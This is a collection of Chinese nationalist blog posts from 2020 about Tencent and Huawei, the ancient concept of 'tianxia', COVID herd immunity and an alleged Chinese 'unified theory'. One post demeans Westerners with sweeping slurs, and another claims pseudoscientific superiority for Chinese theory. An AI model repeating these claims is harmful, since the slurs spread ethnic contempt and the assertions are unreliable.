+版权所有,欢迎转摘,转摘请注明作者和出处! + + +中国高科技公司进入发展快车道 +http://www.caogen.com/blog/Infor_detail.aspx?ID=752&articleId=110271 +未分类 +www.caogen.com +Fri, 03 Apr 2020 04:00:39 GMT +美东时间3月30日,联合国在纽约总部宣布,腾讯公司成为其全球合作伙伴,为联合国成立75周年提供全面技术方案,并将通过腾讯会议、企业微信和腾讯同传在线举办数千场会议活动。这意味着,在新冠病毒疫情之下,迄今为止规模最大的全球对话将在中国互联网科技企业的技术支持下进行。联合国发布官方新闻称,“这是一项全新且创新的全球合作”。一般性的人,也许会对这个新闻无感,或者仅仅浏览一下就忘却了,但对于我,或者对于中国互联网高科技公司来说,这是前所未有的振奋人心的一个消息。从2018年开始,美国用国家力量对中国华为、中兴、大疆等一系列高科技公司进行迫害、碾压。中国人云里雾里不知道缘由。再然后西方反华者对中国铁建、路桥、工程公司进行妖魔化歪曲。说中国“一带一路”基础设施建设是“债务陷阱”。这让中国外交部发言人华春莹非常的愤怒,从中亚非洲到拉丁美洲很多国家的债务比例进行毕竟,这些国家超过80%的债务为西方国家所有,中国只占这些国家极低的债务水平,而后华春莹气愤地说,凭什么你们西方国家的给别人的贷款是馅饼,到了中国变成了“陷阱”?也就是,中国为“一带一路”这些国家的贷款有实实在在的基础设施建设在哪里,这么多年西方国家给那些国家贷款的成果又在什么地方呢?人都会比较的,所以面对西方国家对中国妖魔化,“一带一路”非常欢迎中国的投资与经商。但还是有西方国家媒体不小心透露妖魔化中国的原因。他说,一旦中国基础设施帮助某个国家发展,然后中国人就会蜂拥而入,然后华为5G进入,阿里巴巴、腾讯、小米百度一起进入这个刚开发的国家,使用一整套中国标准建设,几百年西方国家那套治理方式完全改写。以后西方国家想进入那些,中国帮助这些国家发展的国家,就必须削足适屦,放弃自己的标准,交投名状,用中国标准与先期进入的中国公司进行竞争,想吃肉,没有的,吃点残羹剩饭就不错了。他这个文章让我眼睛一亮,怨不得在高科技互联网产业中国竞争不过美国,原来是标准的原因。由于美国是互联网先发国家,在计算机底层的传感技术、通信技术、以及互联网的运算方法的基本原理与运算器设计、指令系统、中央处理器(CPU)设计、流水线原理及其在CPU设计中的应用、存储体系、总线与输入输出,占据优势标准。所以在互联网应用上,美国谷歌、脸书、亚马逊、IBM、微软等等公司能够笑傲江湖,碾压中国。2020年的新冠肺炎疫情,让世界明白,只有中国才可能带领世界走出危机。“美国优先”的特朗普政府只会把世界推向更加深重的灾难。为了抑制疫情传播,人与人之间只能隔离,顺应社会发展腾讯公司适时推出视频会议产品,自去年12月底发布后,腾讯会议40天更新14个版本,8天紧急扩容超过10万台云主机,投入计算资源超100万核,腾讯会议国际版(VooVMeeting)也已经在超过100个国家和地区上线。企业微信作为企业协同办公的管理平台,截止2019年12月已服务了6000万活跃用户,超过250万家企业使用,支持即时通讯、OA应用、300人音视频会议、千万人同时观看群直播、连接微信生态等能力,其英文版也已在全球范围内上线。正是这些成绩在前,在联合国75周年筹备会前,联合国在纽约总部宣布,腾讯公司成为其全球合作伙伴。昨天互联网技术还有一个振奋人心的大消息,据《金融时报》报道,近日华为联合中国工会、中国电信、中国工业和信息化部向国际电信联盟(InternationalTelecommunicationUnion,ITU)提出一项名为“NewIP”的提案。用华为轮值主席徐直军的话说,现有的IP协议已面临着网络挑战,而NewIP计划能够更好地支持新兴网络应用,比如多网络和全息通信等,将从根本上支持网络层的可变长度、多语义地址以及用户定制的网络。这个消息可不得了呀!这是直接革美国目前互联网标准的命。就像西方反华媒体说的,中国打算掀桌子重开张,让美国在桌子前伺候中国大爷。好吧,作为中国人,我姑且信之。消息还说,为了印证腾讯产品实用性,联合国将面向全球公民发起1分钟调查,通过微信和QQ、腾讯新闻、腾讯看点、腾讯视频、腾讯微视和腾讯广告等数十个平台,汇集人们关于应对全球重大挑战等关键议题的想法。腾讯游戏旗下包括《王者荣耀》、《和平精英》、《PUBGMobile》和《ArenaofValor》在内的多款海内外产品也将参与到本次问卷互动的推广中来。最终报告将在2020年9月的联合国75周年高级别活动上,正式提交给世界各国领导人和联合国高级官员。好家伙,腾讯“全家桶”齐上阵啊!希望腾讯给推特、脸书、亚马逊、谷歌等等公司一个震撼,告诉他们,只要有机会,爷自己一个人可以单挑你们全部。不信,放马过来。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +这才是中国:中国人不同维度上的“国家”与“天下”观 +http://www.caogen.com/blog/Infor_detail.aspx?ID=415&articleId=110270 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:59:41 GMT +本期论题:之前多位老师谈到:中国人的“国家观”是从属于“天下观”的。那么,古人的“天下观”、“国家观”是如何来的?二者间的内在关系又是怎样的呢?孟楫:国,源于“郭”,城郭。由族群发展为村落后,修筑环壕、环城,此时就已有国的雏形了。据我考证,国家初级的意识和形态,诞生于黄帝时代!村落多了,就是万国或万邦。“协和万邦”,也是黄帝提出的理念。曹老师:这恐怕是更早的源头。有一点可以肯定,在夏朝之前,中华大地上已有许多“古国”。有人认为,后来的“方国”,就是从这种“古国”发展而来的。我的观点是,中国人“国”的意识与形态,都形成的非常早;但这一时期“国”的概念,跟后来还大不一样,还不是“天下体系”下的“国家”。闻双全:上古时期,土地管理区域和生活区域不是同一概念。定居是农耕文明的特点,若游牧民族,则逐水草而居而无定所,其国的概念薄弱。分封诸候是以定居条件为基础的。所以便有了域、方(地方)的概念,然后逐渐升华出了“方国”、“国”的概念。金岷林川:实际上,史前的中原华夏地区,并不是纯粹的农耕区,而是以农耕为主。商人的先祖、乃至秦人的先祖,都曾经为更强势的部族放牧过牲畜。从河南舞阳贾湖遗址看,有房屋遗迹,有陶窑,考古发现了碳化的水稻稻粒、豆粒,还发现了龟甲,个别刻在龟甲上的符号。这个时期的中原地区,已进入了定居的农耕文化。东北、华北则有兴隆洼文化、赵宝沟文化、红山文化等史前遗址,则是半农半牧区。农业与畜牧业的分离,是第一次社会大分工。西安半坡遗址和姜寨遗址,在定居点的周围都有壕沟,保护村落。以氏族血缘关系组成的聚落,发展到以地域联系为更大规格的社会结构组织,那就是部落和再上一级的部落联盟。部落和部落联盟,出现了聚居的城镇,出现了专门制陶的手工业人群。农业和手工业的分离,是第二次社会大分工。这次大分工,促使了城市和物资交换的出现,促使社会管理与文字的萌芽和积累。部落与部落之间,对于土地等重要生产资料出现利益矛盾,则会发生初期的争夺。武力争夺,需要有首领来组织来指挥,便会向着国家组织演进。还有一个重要因素是部落内部的通婚,它是部落联盟的团结纽带。部落联盟再往上的社会组织,则是部落集团。传说史阶段的三皇五帝,应当是级别很高的部落集团首领。三皇五帝与各部落联盟之间的关系,需要我们来深入研究深入阐发,把传说史上升为“信史”。《中国《商族的起源、迁徙与发展》介绍了商族在取代夏以前,在今豫冀陕(陕南商县?)地域里的遊动迁徙,最终商汤成了新一代的“天下共主”。甲骨文书里,出现了“方”的地域称呼,指称对商族附庸或对峙的各个部族(或部落联盟)。到了周代,分封制度,给诸侯分赏一定疆域面积的土地和民人百姓,这是诸侯“国”的明确概念,诸侯国君称为“公”。天子的观念出现了,代天神来管辖地上的诸侯,天子称为“王”。西周初年的何尊铭文,出现了“中或”的概念,那是指“天子居所”,在疆土的中心地带,反映了“天子”(国王)为天下中央的古代国家意识。《金文常用字典》从西周初年的何尊,到春秋末年的“篆卣”,代表“國家”疆域性质的字形,从无外框向部分外框,到“篆卣”的封闭外框,这反映出了在西周至春秋的历史阶段,用汉字来表达的“國”的意识是越来越具体,越来越明确。再者,西周初年的几代天子,分封的候國在与时俱进地变化,其疆域也在具体变化。可能有这样的因素,西周和春秋的青铜器铭文里,代表國家的那个“國”字,并没有完整的外框。及至“诸侯壮而天子弱”的春秋后期,诸侯国强调了自己的“国土”,强调了自己的“疆域”,“国”字的那个外框才固定了下来。王岩林:有资料显示:中国人关于“天”的意识由来已久,但是“天下观”应正式形成于周朝。当时,周朝初定,各方并不稳定。为了说服其他势力,取得广泛地真心认同,于是就需要在天命、天下正统乃至“天下体系”上做文章。从《牧誓》中可见,周是代天伐纣的。而商朝呢,原来也是讲上天把“天命”是给商人的。这就出现了两套说法。商人的“天命观”,基于只须讨好上天即可的理路,带有超现实的宗教色彩。但周人则认为,“天命”是降临在有德者身上的。以前商人是只对上天、对自己好;现在呢,周人则是对大家都好,天下一家,“普天之下,莫非王土,率土之滨,莫非王臣”。透过分封制度、礼乐制度及德治的落实,周朝以家、国、天下三个主要层级,建起了一套可以容纳天下所有人的天下秩序或天下体系。天下体系的核心理念,是“天下无外”、“万邦协和”。就是说,天下是所有人的天下,天下政治不会把任何人排除在外。只要“有德”,就有机会获得天命而主政天下,甚至也为强势集团逐鹿天下埋下了“替天行道”的合法性。闻双全:我认为:由于古人不知道地球是圆的,所以唯我独尊,将全天下都看成“莫非王”-----周天子的了。在这种观念下,一个个族邦和受封而来的男、子、伯、候、公等,就不会被允许保持绝对的自主独立。虽说当时大一点的诸侯国、公国等,都有自己的土地、疆域、人民、甚至军队;但一切皆是受封而来,是要合乎严格的礼制规定的。比如大国只能拥有“三军”约3万多人,小国只能拥有“一军”1万多人等。这样的“国”,不是完整意义上的国家。曹老师:史学界通常认为,“方国”是指夏、商、周时期与中央王朝相对而言的早期国家,他们是一种不成熟的,与中原地区的王朝比起来还带有很大的部族性质的松散国家,是独立于王朝之外的;而“诸侯国”则是受王朝册封的,效忠于王朝的内部国家,带有一定自主性,但也有依附性。老曹:通过天下一统来制止土地兼并,是农业社会最大的主旋律。夏朝的土地不归于王朝,导致了王朝没有合法手段阻止土地兼并,并最终导致王朝垮台。周朝是对夏朝的继承,所以要“普天之下,莫非王土”。王岩林:这也是一种审视的路子。刨根问:归纳一下多种资料和各位老师的见解,是不是可以这样认为:第一,“国”、“国家”的意识及其形态,与中国人特有的“天”、“天下”意识及其说法,应该很早以前就都产生了,都是各自逐渐发育成熟起来的?第二,后来到了周朝,“天下观”正式形成,天下体系正式确立,从此以后中华大地上乃至中华文明辐射圈内的各种各样“国”,便都被置于此“天下观”的下面、进而有了不同的定位与意义?第三,无论言普遍意义上的整个中华国家,还是看后来大一统状态下的“全中国”与分散状态、华夷两域的多国,都不能抛开“天下”、“天下观”、“天下体系”孤立地去论?闻双全、王岩林、曹老师:当然应是这样的。王岩林:如此说来,中国古人少有近现代西方那么强的“国家”概念和意识,也就找到合理的答案了。最简单的加减法告诉我们:西方人心里只装着一个国家,所以他们能够一心一意;而中国人心里至少要同时装着一个天下、一个国家、甚至还有后来更为“抢风头”的“天子”与“朝廷”,所以心里装着两三个的,肯定就不可能“唯国家是重”了,是不是呢?![笑]曹老师:你这是在往好里说。要我说,西方他们自己奉行强盗殖民逻辑,在外,要占别人家的疆域、抢原有国的权和利;在内,当然也得提防着些了,所以,怎可能不特别重视和强调权、利、领土边界、国家主权呢?张老师:人们常以西周早期“何尊”上的“中或”二字说事。其实,这个中国,在当时只是指“天下中心之地”,而非今天国家意义上的“全中国”。要全面看中国人的国家观念,不能只看这个“中或”,还需要看那些“方国”、“诸侯国”,甚至还要看周王具体管辖区域内的那个“天下”。王岩林:我推测,“天下”这个词,最早发明出来,本意应该就是本义的“天底下”。应是到了周朝需要构建一种既敬天、又经纬人世的话语体系时,才将用来特指所有的王土、王民及其归属万事万物了。天下与中国,在那时,一个是“上天”以下的最大域,一个是天子所在京畿之地中心域。这样一对关系,就特别有意思了。或许,对今后重塑大道中华话语来讲,它们比天下与国家的关系,更值得我们好好地深入挖掘挖掘。老曹:天下这个概念,起源于天文历法。天文历法的考古学证据,在濮阳西水坡遗址的天盖墓。而那个天盖墓,有龙,是继承于庖牺氏部族的赵宝沟文化。陈老师:中国人的这个“天下观”,非常地了不起。它让我们高举起了敬天、重人、尊道、贵德的大旗,让我们走上了以文明之道整合自身与周边世界的大道。这个,与西方是完全不同的。中国后来扩展至现在的疆域,主要不是以战争、殖民的方式吞并他国的,而是像一个漩涡一样,一点点地把周边部落民族给卷进来形成的。这种中原、华夏文明中心国家与周边族群、国家不断融合的过程,主要靠的是文化、经济、尤其汉字所承载的文明优势,相继把匈奴、鲜卑、突厥、西羌、契丹、女真、蒙古等众多的族群以及他们的原住地,从漠北到南海,从东海到西域,最终全都并入了进来。汉字,生于中原,却能让被并入的所有族群无障碍地理解与使用。以汉字为载体的精神世界,成为一个开放的、共享的、不断丰富且极其多元的精神世界,加上“天下体系”能够合理地让各方加入中华,所以长期以来,核心区的中国对周边部族就拥有强大的吸引力,甚至他们为了自己的利益也纷纷加入、或加入到争夺中国正统的竞争中来,从而形成了一个巨大的、罕见的“文明漩涡”。如此这般,天下就是世界,中国则是中央核心区。天下各国可以有不同的生活方式,中国则是同一的生活原则。上古到周朝的中国,更像一个联合体,有中央直辖,有民族自治,同处一体,就是天下了!老曹:中国相对世界,曾经十分遥远,所以,中国就自认为是天下。世界越来越近,直至将中国淹没于其中,于是,中国就成为中国,不再是天下,中国之“中央之国”的意义,也就变成了只代表世界各国之一国的符号。现代的中国这个名称,对外、对整个世界而言,就只是一个符号而已。天下与中国、天下之中国,相对于中国人来说,是代表着一种历史,代表着一种价值观,而相对于外国人来说,就是一个代号。王岩林:虽说中国走入了现代,可中国人自己的“天下观”和一代代士人们的“天下关怀”基本站位,还是始终未变的。你也说过,人类命运共同体就是中国人“天下观”的一种新体现。大衍:人类共同体,就是这个时代的天下观新说。厚生:概念对象而言:天下,是一种观念中的概念;国家,是一个概念中的观念。国家,是一种领域上的定域;天下,是一个定域上的领域。天下,偏说机制性的机制体;国家,实言机制体的机制性。从认识到认识的确立:天下观指观天下,领域国说国领域,机制体言体机制。风行九天:关于中国的“天下观”,有两个民科学者穷几十年精力所形成的两个理论体系及其新的“命题”,需要引起重视。一个是三旋理论创立者王德奎所提出的“远古联合国”,及其对禹王碑的探索性研究。一个是《源》一书作者刘博(流波)所提出的“中华大九州”体系。这些不但具有里程碑的性质,也大大开拓了中华上古史研究的视野。不单是对西方伪史的破,更有对中国“天下观”的立。这与主流学界的著作是有着鲜明的立场和话语区别的。王岩林:他们两人的研究,都指向了远古时代存在着一个横跨几大洲的“大天下”。的确很是震撼,也提供了许多资料,目前算是一说。不过要据此达成“普遍信服”,恐怕还不太容易吧。风行九天:天下体系、天下观、天命观等说法,在文字上、在典籍中,出现的比较晚。毕竟,文明后于文化,文化后于自然。老子所谓“道法自然”吗。但在“道法自然”的结论中,不是还有一个过程历经吗?就是“人法地、地法天、天法道”哦。王岩林:讲过程、一步步地推导非常重要。我注意到一个问题,有些直接抛出的观点,别人不信。但你层层剥笋、一步步推导,把道理贯通了起来,大多还是会信的。在不少人的底层思维里,还都是有全面综合判断力的。我将这看作是中国人根性未泯、给我们讲好中国话语提供的一种难得机会。下面,我试着用老百姓比较好理解的方式,换种方式讲讲这个问题,看能不能更有助于普通人的接受?通常,咱们一讨论问题,就会基于一个或两个相对固定、乃至相互对立的概念关系。这往往会用突显的、被当作稳定闭合的概念,将一条有显有隐的概念链条替换掉。如此一来,思考链被割裂、打断了,思想流动不起来了,还能搞“想得通”、搞得明白吗?我从一个朋友那儿,学到了一种渐推式编织“圆形思考回环”的好方法。用在中国人常说的“家、国、天下”问题上,就是要进一步地推导、延伸,把一个完整的“圆形思考回环”恢复和建立起来。关于这个以天下国家为代表的渐次推演的“圆形思考回环”,大致是这样的:从最大的天、到每一最小个人的“心”甚至“意”,依次排列,递进前推,相连互通,首尾终合。所谓的辩证关系,也就在这个“回环”里体现出来的。因没来得及细细斟酌,所以归纳和用词不一定准确:1、天,(或上天、老天);2、天人(天人感应、天人合一);3、天下(天底下、天下世界、东西南北中、天地间万事万物);4、人世(人间、人世间、人类、人道、世代、千秋万代);5、华夷(中外、文明不文明);6、王朝国家(家天下、全国大家庭、多国并存、诸侯、邦、方);7、郡县地方;8、乡村社会;9、家与家族(祖先、子孙、宗亲);10、民与人(民、人、身心、社会与自然人、文明人与愚昧人、君子与小人);11、性命与灵魂(心、意、神、灵、魂、魄);12、通天与归于天(三条首尾相接、循环转升之道分别是:个体以“上西天”方式归天、“民意即天意”大于天、道法天地皆为自然)。最终通过这道立于有无间的“旋转门”,重又转升对接于上天,从而贯通一气,循环往复。这在整体上,也就实现了中国人终极的追求-------完满和圆成。不知,这是不是中国人跨越阴阳与显隐两界的、长久深层的整体思维构架模式呢?刨根问:王老师的这个说法有新意,是应该多探索一下如何更好表达与传播的问题。各位老师对“天下”、对“国家”乃至“家国天下”等的贯通循环关系等,都谈到了。我觉得,要讲好咱们的“家国天下”话语,光是咱们这些人还不够,还需要让更多的人一起来思考、一起来探索。是不是可以把这些问题也提给网络、网群、朋友圈的朋友,以征集各路的高手和高见呢? +版权所有,欢迎转摘,转摘请注明作者和出处! + + +衰败的美国需要加倍提防 +http://www.caogen.com/blog/Infor_detail.aspx?ID=689&articleId=110269 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:58:33 GMT +今天,观察者网文章《美失业数据创历史记录5倍,道指却跳出熊市》指出:“美国新冠肺炎累计确诊数成为世界第一。疫情刺激下,万众瞩目的美国就业数据出炉。截至3月21日当周,全美初次申请失业金人数接近330万人,创下历史记录,为上一次高位的5倍之多。有分析人士指出,美国失业率将在未来几个月内达到20%。而美联储则预计,全美二季度失业率可能会达到32.1%。然而虽有多重利空消息,美股昨晚却暴涨,道琼斯工业指数走出短暂熊市。对此有分析人士认为,历史性的“2万亿经济刺激法案”提振了市场;美国市场已经接近底部;机构投资者们已从此前“无差别抛售”中恢复理智。”早前,刚刚封城就有报道说,特朗普鼓动18天后复工,理由是经济灾难比瘟疫更可怕。更令人吃惊的是,话音未落的特朗普,支持率竟然飙升,达到55%,而权威美国专家说,美国牺牲经济去救每一个人。美国是个可怕的国家。对它的人民来说,强大的经济比人民健康更重要,救经济优于救人民,人民是为强大的经济而生的,为了强大的经济,人民必须强大,死多少人无所谓,因瘟疫死去的人,不配做美国人。这也不奇怪,美国就是一个用白骨建起来的国家。为了美国人对幸福的追求,99%以上的原住民被灭绝,北美文明被整体取代,变成了北美来自欧洲的文明。自独立以来,美国几乎平均每年发动一次战争。同所有西方人一样,美国人的祖先是游牧民族。游牧文明同中华文明是传统迥异的:我们讲究“和”,即大家聚在一起吃粮食,都有饭吃。“和”是农耕文明对中华民族品性的历史性锻造。西方人的祖先则不同,他们奉行杀伐、奸淫和掠夺。当年的西方人,满身恶臭,天天梦想着来自东方的奢侈品,可是奥斯曼·土耳其的崛起阻断了东西方的陆上商路,被压制在欧洲大陆一端,只得探索通往东方的海上商路,而这时生产力的发展要求世界进入资本主义社会,西方在殖民美洲过程的开始,就萌芽了资本主义;这时资本全球化又要求他们用殖民和侵略,把资本主义带到全球。苍天五眼,在这个悲惨的500年历史里,历史呼唤了强盗,历史选择了强盗,历史培养了强盗,历史成就了强盗!现在,资本全球化终于终结,人类正式进入了地球村时代。以上就是李约瑟之问的答案的一部分。答案的一部分则是,我们长期领先于世界,是旧经济的既得利益者。由于我们垄断了世界绝大多数银子,西方在发展起来的过程中,还发生过英法百年战争。战争磨尖了西方的爪牙,然后发生了中国的百年国难。现代的中国与西方存在着巨大的文化差异:我们有句骂人的话叫“一边做婊子,一边立牌坊。”,但骂西方人并不适用。他们是“两只手做婊子,通过做婊子为自己立牌坊,立婊子牌坊。”他们文化的天花板是我们文化的地板。再回顾一段历史,我们中国一直是最大的食草动物--大象,而西方最初不过是一只豺,可是他们是食肉动物,而且很聪明,先是靠吃老鼠等小动物而逐渐强大,后来吃羊和猪,后来吃野牛--从而变成了雄狮,这时,大象发抖了,所以1840年鸦片战争,冒险的雄狮打败了大象,1895年甲午战争,大象被野狗掏肛,……这就给我们提出了一个问题:西方已经崩溃,将比以前更穷凶极恶,可我们能防得住吗?中国的政治、经济都必须硬核,必须从“发展才是硬道理”,转变为“为更好服务人民而更好、更快地发展经济”,处理好手段和目的的关系。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +美国文明背后的真实 +http://www.caogen.com/blog/Infor_detail.aspx?ID=789&articleId=110268 +我的栏目 +www.caogen.com +Fri, 03 Apr 2020 03:57:50 GMT +网络上不缺吹捧美国文明的文章和视频,最近有貌似专家还是道士的“仙人”之视频讲演,有如下的内容:如果你认为美国没有文化,实际上你对美国社会继承了欧洲近代先进思想的产物这一点毫无了解。要知道美国社会,实际上是最纯净地执行了、或者落实了欧洲近代一批思想家最先进思想的试验场。种种,还罗列了欧洲思想的先贤如《政府论》的洛克、《论法的精神》之孟德斯鸠、《社会契约论》的卢梭、提出代议制的约翰穆勒、“看不见的手”之亚当斯密,把美国吹捧为欧洲最先进思想的试验场、集大成。也许这些光鲜的人物亮瞎了自认为了解欧洲文化的人双眼,更何况建国200多年就称霸世界100多年的美国,让人们听了上面视频言论后,真就认为美国的发达、先进是理所当然,美国宪法和独立宣言所倡导的自由平等、民主自由是人类应该向往的崇高精神。感恩节就像中秋节那样,美国人阖家欢乐,吃着火鸡感恩上帝,可是感恩节本应该接受感恩的印第安等原住民在何处?他们的子孙是否享有着被他们拿出火鸡热情招待的“入侵者”子孙同样的自由和民主之幸福生活?一个节日就可以把黑暗、血腥的历史来掩盖,现实是多么虚伪。美国民主自由的社会为谁而建立?如果仔细追踪历史不难得出,美国这个试验场里所做的各种实验,集欧洲先进思想之大成的国家是为谁而建?是为了MEN,那些入侵北美大陆的特定白种男人!MEN里面没有包括女人,没有包括原住民,没有包括非洲卖过来的奴隶,没有包括有色人种,没有包括穷人和下层人民。也许随着历史的演进,国家体制确实在不断的实验中完善,马丁路德金等的努力让制度之集大成慢慢覆盖到美国国民的其他族裔,MEN最初的含义大家已经遗忘,甚至连感恩节也让人们丝毫不会联想到最初的MEN如何忘恩负义、背信弃义地屠杀印第安原住民的历史,美国国民已经幸福快乐地生活在这个集大成之先进体制中近100多年。美国国民可以幸福地忘记,可怕的是很多非美国民、并不属于即使扩大了内涵的MEN中的某些人,被那些集大成亮瞎了眼睛,还在摇唇鼓舌地为MEN歌唱,自认为自己“开悟”了,就理所应当地进入到MEN之行列。他们想错了,美国这个国家对内确实在“进化”,可对外从来就没有收藏其獠牙,100多年幸福地咬嚼火鸡的生活,都是建立在对外锋利的獠牙之下。也许有人认为地球已经成村,我是一个可以去任何地方而不被束缚的AnyWherePeople,我可以进入美国这个大豪斯,也可以成为MEN幸福地咬嚼火鸡。他忘记了人的属性,一个被民族和历史刻录在血液里和骨头上的属性,一个从外到内一目了然的种族标签。因时势不同,标签带来的时运就不同。现如今,反全球化时代来到,一个超越SomeWherePeople和AnyWherePeople矛盾的、因区域、国家、民族不平等带来的大动荡时代已经来临,美国的那些光鲜的“集大成”的外衣都会剥去,展现出来的一定是那锋利无比的獠牙。历史为什么而存在?为了让人们不沉陷在咬嚼火鸡、忘记屠杀而存在。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +美欧进“新冠”被动“半群体免疫”态? +http://www.caogen.com/blog/Infor_detail.aspx?ID=515&articleId=110267 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:56:42 GMT +——并议此态的最坏可能及如何应对一、欧可能进入对“新冠”的被动“半群体免疫”态?近日,在中国抗击新冠疫情基本控制,已实现本土零增长、零星增长。但全球特别是欧美形势却继续仍然急剧恶化。狡猾与诡异的“新冠”病毒,在欧美从开始的“不起眼细流”,已经变为似乎势不可挡的“洪水猛兽”。而且,就现实态势看,似乎至少短期内不可能像在中国一样,被“紧急刹车”。得承认,这次的新冠病毒的确是“狡猾与诡异”的。它,一有极高传染性,在一定条件下能“一染多染”;二有隐蔽性,无症状也能带毒、感染。而非常“要命”的是,西方国家和受西方“自由”观念影响的地区的管理者和被管理者,对严格的防疫管理的理解和执行多有打折扣。从目前的现实态势看,美欧感染危局还在扩大至少未见明显回落,正处于几乎一发不可收拾的境地。面对此态,人们有理由推测,美欧可能进入对“新冠”的被动“半群体免疫”态。即:虽然对病毒“放任不管”,任由其感染,让人们在病毒面前“物竞天择、适者生存”,用生物学的自然淘汰方法保留强者,不会成为相关国家公认的处置原则;但是,由于新冠病毒的“狡猾与诡异”,而诸多相关国家、地区严格的防疫管理,始终不可能真正到位。这将实际上导致美欧等国家和地区,可能进入对“新冠”的被动“半群体免疫”态。也就是——社会十分无奈的只能在尽力防疫之中,不能有效阻止“新冠”大规模爆发,不能尽可能快速地隔断传播,大中小规模的疫情会继续延续留存经月跨年的相当时间,乃至还不时死灰复燃。结果,疫情将会直至社会群体在感染中适者生存、“自然获得免疫力”,或等到有效的免疫、防疫和治疗手段出现与有效实施为止。二、从最坏处着想,往最好处努力,应研议有备最坏可能及其如何应对有句老话,叫做:从最坏处着想,往最好处努力。近年,也有“底线思维”之说。这里以为,面对新冠病毒发展的当前现实,可能的确需要有这样的思维和准备。中国应预测和警惕新冠病毒在世界蔓延的最坏可能及其如何应对。因为,有备无患。这可能要包括预测和警惕:如果新冠在世界特别是发达国家,继续恶化或长期不能走出阴影(已经有各国专家有此预测),中国会受到怎样的影响?如果中国相对能是有效控制新冠病毒的“净土”(从此前可以预见,这是完全可能的),如何自处和他处?中国是否可能要把自己地大物博、可以基本自给自足的状态,调整的更能适应今后一段时间的世界?中国的对外开放是否要结合、适应今后一段时间的世界新冠病毒处于“半群体免疫”态,而做出必要调整和“与时俱进”?如果一些国家的确只能等到社会群体在感染中适者生存、“自然获得免疫力”,用生物学的自然淘汰方法保留强者,那时中国这块相对“净土”中的人们,将面对的是“强者”还是“弱者”?……等等。 +版权所有,欢迎转摘,转摘请注明作者和出处! + + +中华《道器之学》与世界期盼的《大统一理论》 +http://www.caogen.com/blog/Infor_detail.aspx?ID=625&articleId=110266 +未分类 +www.caogen.com +Fri, 03 Apr 2020 03:55:40 GMT +在对自然与人类社会追根究底的过程中,曾反复探讨了本根论、顺序运动逻辑与思维、基本矛盾与绝对运动、中西方“矛盾”概念辨析等,后来又涉及到了中西方的“形而上学”概念,由此也涉及到了我国传统理论中那句【形而上者谓之道,形而下者谓之器】,这也就是我国《道器之学》的由来,其实质仍然属于我国传统理论的“阴阳五行”,只不过其属于另一种表达而已。然而《道器之学》这种表达则更能突出我们中华理论的诸多特点:1)古今中外能够与《宇宙大爆炸理论》相符的理论体系,唯有我们中华系统论一家;2)理顺了“形而上与形而下”的基本关系,便于与西方哲学的“形而上学”概念相比较,并搞清楚它们相互之间的区别;3)更能够展示我们本土理论的基本结构,提醒许多研究中那种“道与器”不加区分“乱炖”一气的通病;4)便于借西方哲学的“本质与现象”概念阐述我们自己的中华理论,更易于将我国传统科学之“气(能量)”与西方科学之物质的相互关系进行系统性梳理,有利于其相互结合并现代化。正值世界政治、经济、军事“大变局”之际,一轮世界文明“大变局”也悄然而至,在科学理论领域,先进与落后,进步与反动也正处于激烈交锋的特殊时期,西方文明那本老黄历将要被掩卷,人类历史将要翻开新的篇章。而在这轮新旧文明交替的过程中,怎样根据近现代科学的发展将西方科学消化吸收进我们中华文明体系中来,其事关中西方两种不同的文明相融相通的基本理路,更涉及怎样形成《大统一理论》并推动人类文明进步的核心问题。在“道与器”的基本关系中,首先需要为我国的“形而上学”之“道”平反昭雪,唯有如此,才能将我们中华文明的理论和思维这盘大棋走通走活,并与《大爆炸理论》相互对照,从而使其焕发出新的青春。一、“形而上学”与我国的《道器之学》上面已经反映出来了,我国的“形而上学”与传统的《道器之学》不可分割,它们本身就属于一个整体,并且事关根本。而作为一个完整的理论体系,其构成要素显然会“牵一发而动全身”,如果否定了“形而上学”,也就等于否定了我国的《易经》、《道德经》和《气一元论》等,相当于从根本上否定了我们的国学。所以,这个问题事关重大,需要引起高度重视,也需要予以深度追究。(一)中国的“形而上学”概念曾不幸躺枪对于“形而上学”问题,中西方先贤都曾给予了高度重视,所不同的是,我们中国的先贤早已确定了宇宙的“本质或本原”属于“气(能量)”,而西方则始终没能解决这一根本性问题,于是便通过“抽象”来填充这一理论空当(其上帝事实上也属于抽象的产物,只是与哲学称谓不同而已),由此按照西方哲学的说法,便出现了“唯物与唯心”的根本性区别(事实上其“唯物论”的本来含义就是“唯物质论”,其具有对神学造反的意味)。然而令人遗憾地是,西方哲学由于物理学的兴起而导致进一步围绕着“物质”兜开了圈子,致使其原初的“形而上学”研究渐趋式微。但由于其哲学是建立在“抽象”基础上,所以其也一直没能处理好这一问题,于是乎便“神学、哲学与科学”三足鼎立,在西方构成了一套松散而又奇葩的理论体系。对于宇宙的“本质或本原”问题,前苏联一些理论家们照样是“丈二和尚摸不着头脑”,于是在对马克思主义原理的译介中,为了安插进其所谓的“马克思主义哲学”,便对“形而上学”进行了批判,由此将这一概念也给彻底变味了,请看以下百度百科的资料介绍:【形而上学指对世界本质的研究,即研究一切存在者,一切现象(尤其指抽象概念)的原因及本源。最早由亚里士多德所构建,称其为“第一哲学”、“第一科学”。于苏联教育体系中被引申为“孤立的、片面的、静止的思维方式”,被认为是与辩证法相对立的。】这一资料介绍说明,西方哲学中原本是包含着“形而上学”的,而通过下面的列表也可以看出,西方哲学与其神学的“形而上学”性质是一样的,只不过其是向科学所反映的现象靠拢了一些而已。有关西方的哲学问题,还是英国哲学家罗素的概括较为符合实际,【哲学,就我对这个词的理解来说,乃是某种介乎神学与科学之间的东西。它和神学一样,包含着人类对于那些迄今仍为科学知识所不能肯定之事物的思考;它又像科学一样是诉之于人类的理性而不是诉之于权威的,不论是传统的权威还是启示的权威。一切确切的知识(罗素认为)都属于科学;一切涉及超乎确切知识之外的教条都属于神学。介乎神学与科学之间还有一片受到双方攻击的无人之域,这片无人之域就是哲学。---百度百科词条】。就连西方著名哲学家都知道其哲学的局限性,而经前苏联“哲学家”们篡改后的所谓“哲学”却打着“马克思主义”旗号要包打天下,并解释一切,那岂不是比西方还要西方?通过以上资料介绍就基本能够看出,前苏联一些“哲学家”们曾对马克思主义原理进行了篡改,而我国的教科书也就不假辨析趸来跟着“照本宣科”,并对我国学术理论界产生了连锁反应,导致我国的文化也出现了西